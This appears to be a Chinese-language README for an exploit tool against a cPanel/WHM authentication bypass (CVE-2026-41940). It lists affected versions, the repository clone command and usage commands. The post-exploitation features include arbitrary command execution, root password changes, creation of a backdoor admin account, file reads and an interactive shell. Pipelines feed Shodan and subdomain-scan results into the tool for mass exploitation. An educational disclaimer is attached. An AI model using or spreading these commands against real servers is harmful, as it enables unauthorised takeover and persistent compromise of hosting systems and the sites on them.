CVE-2026-41940

⚠ 本工具仅供教育和漏洞赏金目的使用。严格禁止在受控环境之外未经授权使用。

描述

用于利用 CVE-2026-41940 的工具。这是 cPanel 与 WHM 中的一个严重认证绕过漏洞（CVSS 10.0），未认证的攻击者可通过在 Authorization 请求头中注入 CRLF 序列来篡改服务端会话文件，从而获得 root 级 WHM 访问权限，无需任何凭证。

工作原理

CVE-2026-41940 总体上是因为 cPanel/WHM 处理认证会话的方式存在缺陷而被利用。攻击通常从向登录接口发出正常请求开始，应用程序在完全验证用户凭证之前就过早地初始化了会话。由于对与会话相关输入的处理不当，某些精心构造或意外输入结构可以改变服务器存储或解释会话数据的方式。

受影响版本

版本	受影响	已修复
110.x	≤ 11.110.0.96	11.110.0.97
118.x	≤ 11.118.0.62	11.118.0.63
126.x	≤ 11.126.0.53	11.126.0.54
132.x	≤ 11.132.0.28	11.132.0.29
134.x	≤ 11.134.0.19	11.134.0.20
136.x	≤ 11.136.0.4	11.136.0.5

安装（Windows/Mac OS）🔄

git clone https://github.com/lanicer/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py

使用方法

该工具需要指定一个目标域名。

单目标模式：

python cve.py -u https://target1.com:2083

你也可以从 target.txt 文件扫描（请先创建该文件）：

python cve.py -l target.txt -t 50 -o result.json

基础扫描：

可用命令：

python cve.py -u https://victim1.com:2083 # 单目标扫描
python cve.py info -u https://victim1.com:2083 # 获取系统信息（版本、负载、磁盘使用情况）
python cve.py host -u https://victim1.com:2083 # 获取目标服务器的主机名

利用后操作

# 列出服务器上所有账户
python cve.py list -u https://target.com:2087

# 执行系统命令
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"

# 获取服务器信息（主机名、磁盘、MySQL 主机）
python cve.py info -u https://target.com:2087

# 修改 root 密码
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'

# 交互式 WHM shell
python cve.py shell -u https://target.com:2087

管道集成

# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
  httpx -silent -ports 2085,2086 -threads 50 | \
  python cve.py scan -t 40 -o results.json

# 从 scope 列表开始
cat scope.txt | \
  httpx -silent -ports 2085,2086 -threads 100 | \
  python cve.py scan -t 30 -o results.json

# Shodan 结果
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python cve.py -t 30 -o shodan_results.json

# 多个来源合并
{ subfinder -d victim.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python cve.py -t 20 --action list

WHM Shell 模式

成功利用后，你可以打开一个交互式 WHM shell：

python cve.py shell -u

所有 Shell 命令

命令	描述
`id`	显示用户 ID
`hostname`	获取服务器主机名
`accounts`	列出所有用户账户
`info`	负载、磁盘、MySQL 主机、版本
`cat <path>`	读取文件内容
`exec <cmd>`	执行操作系统命令
`newadmin <user> <pass>`	创建后门 WHM 管理员
`passwd <pass>`	修改 root 密码
`l [path]`	列出目录
`help`	显示所有命令
`exit`	退出 shell 模式

CLI 参考

usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT]

Target:
  -u, --url URL          Single target URL (e.g. https://host:2087)
  -l, --list LIST        File with URLs (one per line)
  --hostname HOSTNAME    Override canonical Host header (auto-discovered)

Scan:
  -t, --threads N        Concurrent threads (default: 10)
  --timeout N            Request timeout seconds (default: 15)
  --rate-limit N         Delay between targets (default: 0)
  --force                Skip cPanel detection check

Post-Exploit:
  --action ACTION        Action: list | passwd | cmd | exec | info |
                                 version | shell | adduser
  --passwd PASS          New root password (--action passwd)
  --cmd CMD              OS command (--action cmd/exec)
  --new-user USER        New cPanel username (--action adduser)
  --new-domain DOMAIN    New cPanel domain (--action adduser)

Output:
  -o, --output FILE      Save results to JSON file
  --no-color             Disable ANSI colors

免责声明

⚠ 本工具仅供教育和漏洞赏金目的使用。严格禁止在受控环境之外未经授权使用。